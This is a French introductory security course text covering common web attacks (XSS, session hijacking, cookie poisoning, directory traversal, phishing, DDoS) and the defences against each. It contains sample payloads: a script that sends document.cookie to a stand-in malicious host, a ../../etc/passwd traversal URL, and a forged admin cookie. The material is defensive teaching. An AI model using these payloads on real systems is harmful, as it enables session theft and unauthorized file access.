

Introduire la sécurité informatique partie 2

I. Les attaques Web courantes

1. Le Cross-Site Scripting (XSS)

Définition :

Le **Cross-Site Scripting (XSS)** est une attaque qui permet à un pirate d'injecter du code JavaScript malveillant dans une page web. Ce code est ensuite exécuté par le navigateur d'un utilisateur légitime.

Objectif de l'attaque :

- Voler des cookies de session
- Rediriger l'utilisateur vers un site piégé
- Modifier le contenu de la page affichée
- Envoyer des requêtes à l'insu de l'utilisateur

Exemple concret :

Un site affiche les commentaires d'utilisateurs sans filtrage. Un pirate écrit le commentaire suivant :

```
<script>fetch('https://monsite-malveillant.com?cookie=' + document.cookie)</script>
```

Un visiteur qui voit ce commentaire exécute ce JavaScript sans le savoir → ses cookies (souvent sa session) sont volés.

Protection :

- Échapper les caractères spéciaux HTML (<, >, etc.)
- Ne jamais afficher directement du texte soumis par l'utilisateur
- Utiliser des bibliothèques de protection comme DOMPurify

2. Le détournement de session (Session Hijacking)

Définition :

Le Session Hijacking consiste à intercepter ou deviner un identifiant de session pour prendre le contrôle du compte d'un utilisateur connecté.

Objectif :

Se faire passer pour un autre utilisateur sans avoir besoin de son mot de passe.

Exemple concret :

Un utilisateur se connecte à son compte bancaire via un Wi-Fi public. Son cookie de session transite en clair. Un pirate capture ce cookie avec un outil comme Wireshark.

Il colle ensuite ce cookie dans son propre navigateur :

document.cookie = "session=abc123"; // volé

→ Il accède au compte bancaire de la victime.

Protection :

- Forcer l'utilisation du protocole HTTPS
- Régénérer le cookie de session après chaque connexion
- Définir les cookies avec l'attribut HttpOnly et Secure

3. L'empoisonnement de cookie (Cookie Poisoning)

Définition :

Le Cookie Poisoning est une attaque qui consiste à modifier le contenu d'un cookie pour tromper le serveur et obtenir des privilèges non autorisés.

Objectif :

Changer ses droits (par exemple passer de "utilisateur" à "admin") ou modifier des données importantes stockées dans les cookies.

Exemple concret :

Un site enregistre le rôle de l'utilisateur dans un cookie :

```
{"username":"ahmed", "role":"user"}
```

Le pirate modifie ce cookie manuellement :

```
{"username":"ahmed", "role":"admin"}
```

→ Il obtient un accès à l'interface d'administration.

Protection :

- Ne jamais stocker d'informations sensibles dans les cookies
- Signer ou chiffrer les cookies côté serveur
- Vérifier les autorisations côté serveur, pas seulement via le cookie

4. Exploitation du serveur web (exemple : ver Nimda)

Définition :

Certains vers informatiques comme **Nimda** exploitent des failles connues dans les serveurs HTTP pour infecter un site et se propager automatiquement.

Nimda est un ver informatique très dangereux qui a fait des ravages en 2001. Son nom vient de "admin" écrit à l'envers.

Objectif :

- Infecter les fichiers du site
- Propager l'infection à d'autres machines
- Installer des portes dérobées

Exemple concret :

Le ver Nimda (2001) exploitait une faille dans le serveur Microsoft IIS. Il :

- Modifiait les pages .html pour y insérer du code malveillant
- Transmettait le virus à tous les visiteurs du site
- Se propageait aussi par e-mail et partage de fichiers

Protection :

- Toujours installer les dernières mises à jour de sécurité
- Ne pas utiliser des serveurs obsolètes ou non maintenus
- Utiliser un pare-feu applicatif (WAF) pour filtrer les requêtes

II. Autres attaques critiques

1. Utilisation de mots de passe par défaut

Définition :

De nombreux systèmes, caméras, routeurs ou logiciels sont livrés avec des identifiants par défaut comme admin/admin ou root/1234.

Objectif du pirate :

- Se connecter facilement
- Accéder à des interfaces d'administration

Exemple :

Un pirate scanne Internet à la recherche de caméras de surveillance. Il en trouve plusieurs accessibles avec le mot de passe par défaut admin.

→ Il peut voir en direct ce que filme la caméra.

Protection :

- Changer immédiatement les mots de passe par défaut
- Choisir des mots de passe forts (longueur, complexité)

- Désactiver les comptes inutiles

2. Directory Traversal (Remontée de répertoires)

Définition :

Le Directory Traversal est une faille qui permet à un pirate de remonter l'arborescence des fichiers d'un serveur et d'accéder à des fichiers sensibles.

Exemple :

Un site permet de voir une image comme ceci :

`https://monsite.com/images?file=chat.png`

Un pirate teste :

`https://monsite.com/images?file=../../../../etc/passwd`

Il accède au fichier système `/etc/passwd`.

Protection :

- Vérifier et nettoyer les chemins reçus en paramètres
- Ne jamais permettre d'accéder directement aux fichiers système
- Utiliser des chemins absolus ou une "sandbox" (espace restreint)

3. Le phishing (hameçonnage)

Définition :

Le **phishing** est une attaque dans laquelle l'utilisateur est trompé par un faux message ou un faux site pour lui voler ses informations confidentielles (identifiants, numéro de carte bancaire...).

Exemple concret :

Vous recevez un e-mail :

"Votre compte bancaire est bloqué. Veuillez vous reconnecter ici :
[faux-site.com/banque]"

Le site imite parfaitement celui de votre banque. Vous entrez vos identifiants → le pirate les récupère.

Protection :

- Vérifier l'URL avant de se connecter
- Ne jamais cliquer sur un lien douteux
- Utiliser l'authentification à double facteur (2FA)

4. Attaque par déni de service distribué (DDoS)

Définition :

L'attaque DDoS (Distributed Denial of Service) consiste à envoyer un grand nombre de requêtes simultanées à un serveur pour le saturer et le rendre indisponible.

Objectif :

- Faire tomber un site ou service (site e-commerce, jeux en ligne...)
- Nuire à une entreprise ou à une institution

Exemple :

Le site d'un service public reçoit des millions de connexions en même temps. Le serveur ne suit plus → il s'arrête.

Les pirates utilisent souvent des botnets (réseaux de machines infectées) pour lancer l'attaque.

Protection :

- Utiliser un pare-feu applicatif
- Mettre en place des systèmes anti-DDoS (Cloudflare, AWS Shield...)
- Détecter les comportements anormaux (détection d'intrusion)

III. Techniques de protection générales

1. Mettre à jour régulièrement

Les éditeurs de logiciels corrigent souvent des failles. Il faut donc :

- Mettre à jour le système d'exploitation
- Mettre à jour les applications web
- Appliquer les patches de sécurité dès qu'ils sont disponibles

2. Restreindre les accès

- Donner uniquement les droits nécessaires
- Séparer les rôles (admin, utilisateur simple...)
- Restreindre l'accès aux fichiers sensibles

3. Vérifier les données côté client ET côté serveur

- Valider les champs de formulaire côté client (HTML/JS) pour l'expérience utilisateur
- Vérifier aussi côté serveur (car un pirate peut contourner le client)

4. Sauvegarder les données

En cas d'attaque réussie (ransomware, suppression de fichiers...), avoir une sauvegarde permet de :

- Récupérer les données
- Reprendre l'activité rapidement

IV. Antivirus et Pare-feux

L'antivirus ?

Définition :

Logiciel qui permet de détecter, bloquer et supprimer les logiciels malveillants (virus, chevaux de Troie, vers, ransomwares...).

Fonctionnalités :

- Analyse en temps réel
- Quarantaine
- Mise à jour automatique de la base virale

Exemples :

- Windows Defender
- Avast
- Bitdefender
- Kaspersky

Le pare-feu (Firewall) ?

Définition :

Système qui filtre les connexions réseau en fonction de règles définies (IP, ports, protocoles...).

Rôle :

- Empêcher les connexions non autorisées
- Protéger les services internes
- Limiter la propagation d'une attaque

Types :

- Pare-feu logiciel (Windows Firewall)
- Pare-feu matériel (box, routeur pro, firewall dédié)

- Pare-feu applicatif (WAF) : filtre les requêtes web (contre XSS, SQLi...)